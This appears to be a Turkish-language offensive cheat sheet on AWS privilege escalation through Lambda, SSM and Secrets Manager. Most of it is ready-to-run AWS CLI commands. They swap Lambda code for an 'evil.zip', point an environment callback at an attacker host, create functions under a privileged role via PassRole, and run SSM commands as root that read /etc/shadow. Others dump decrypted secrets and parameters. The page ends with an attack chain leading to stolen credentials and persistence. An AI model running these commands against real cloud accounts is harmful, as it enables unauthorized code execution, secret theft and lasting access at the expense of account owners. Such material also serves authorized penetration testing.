AWS — Lambda, SSM & Secrets

AWS privesc / secrets

Serverless ve yönetim servisleri, IAM zincirlerinin ötesinde ek RCE ve sır çıkarma yolları sunar: Lambda fonksiyonları yüksek yetkili rollerle çalışır, SSM EC2’lerde komut çalıştırır, Secrets Manager / SSM Parameter Store ise kimlik bilgisi hazinesidir.

Ön koşullar

- Geçerli AWS kimliği (kullanıcı veya rol)
- İlgili API izinleri: lambda:*, ssm:SendCommand, secretsmanager:GetSecretValue vb.
- veya mevcut bir Lambda içinde RCE (event injection, dependency)

Lambda suistimatı

aws lambda list-functions --region eu-west-1

aws lambda get-function --function-name F        # kod URL + config

aws lambda get-function-configuration --function-name F

aws lambda get-function-configuration --function-name F \
  --query 'Environment.Variables'

URL=$(aws lambda get-function --function-name F --query 'Code.Location' --output text)

curl -sL "$URL" -o fn.zip && unzip -l fn.zip

Kod / config değiştirme (yetki varsa → rol bağlamında RCE):

aws lambda update-function-code --function-name F --zip-file fileb://evil.zip

aws lambda invoke --function-name F --payload '{}' out.json && cat out.json

aws lambda update-function-configuration --function-name F \
  --environment "Variables={CB=https://attacker.oast}"

iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction klasik privesc zinciridir (admin rolüyle fonksiyon çalıştır). Varyantlar:

lambda:UpdateFunctionCode          → mevcut yüksek yetkili fn
lambda:AddPermission + public URL  → herkese invoke
lambda:CreateEventSourceMapping    → tetikleyici ile persist
layers: PublishLayerVersion        → supply-chain tarzı enjeksiyon

aws lambda create-function --function-name pwn-$(date +%s) \
  --runtime python3.12 --role arn:aws:iam::ACC:role/PrivilegedLambdaRole \
  --handler lambda_function.lambda_handler --zip-file fileb://pwn.zip \
  --timeout 30

aws lambda invoke --function-name pwn-... out.json

Lambda içindeyken (RCE varsa) erişilebilirler:

env | sort

curl -s http://169.254.169.254/   # genelde yok; rol SDK default chain'de

find /var/task -type f | head

SSM — EC2’de komut çalıştırma

SSM Agent yüklü ve IAM rolü AmazonSSMManagedInstanceCore (veya eşdeğeri) taşıyan örneklerde, API üzerinden root/SYSTEM komut çalıştırılır — SSH gerekmez.

Yönetilen örnekleri listele :

aws ssm describe-instance-information --output table

aws ssm describe-instance-information \
  --query 'InstanceInformationList[].{Id:InstanceId,Platform:PlatformType,Ping:PingStatus}'

Komut gönder — SSM Agent’lı EC2’de:

aws ssm send-command --document-name "AWS-RunShellScript" \
  --targets "Key=instanceids,Values=i-0123456789abcdef0" \
  --parameters 'commands=["id","uname -a","cat /etc/shadow | head"]' \
  --output text --query 'Command.CommandId'

aws ssm get-command-invocation --command-id <CID> \
  --instance-id i-0123456789abcdef0

Oturum aç — Interactive Session Manager:

aws ssm start-session --target i-0123456789abcdef0

aws ssm start-session --target i-0123 \
  --document-name AWS-StartPortForwardingSession \
  --parameters '{"portNumber":["3389"],"localPortNumber":["13389"]}'

Windows için AWS-RunPowerShellScript kullan. ssm:SendCommand + geniş hedef seçimi neredeyse filoda RCE demektir.

Sır çıkarma

aws secretsmanager list-secrets

aws secretsmanager get-secret-value --secret-id prod/db

aws secretsmanager get-secret-value --secret-id prod/db --query SecretString --output text

aws ssm describe-parameters --max-items 50

aws ssm get-parameters-by-path --path / --with-decryption --recursive

aws ssm get-parameter --name /prod/db/password --with-decryption

aws kms list-keys

aws ssm get-parameters --names /a /b --with-decryption

Diğer sık sır kaynakları:

aws codecommit get-file ...

aws ecr get-authorization-token

aws glue get-connection --name ...

aws rds describe-db-instances   # master user; parola genelde secret'ta

aws cloudformation describe-stacks --query 'Stacks[].Parameters'

aws lambda get-function-configuration ...   # env

Komut üreteci

SSM · send-command

embedded tool

Instance IDShell command

Generated command

aws ssm send-command --document-name AWS-RunShellScript --instance-ids i-0123456789abcdef0 --parameters commands=id

SSM · send-command

Saldırı zinciri

Düşük yetkili key
  → lambda:ListFunctions + GetFunction → env'de DB pass
  → veya ssm:SendCommand → EC2 root → ~/.aws/credentials
  → veya secretsmanager:GetSecretValue → prod keys
  → PassRole / CreateAccessKey → kalıcılık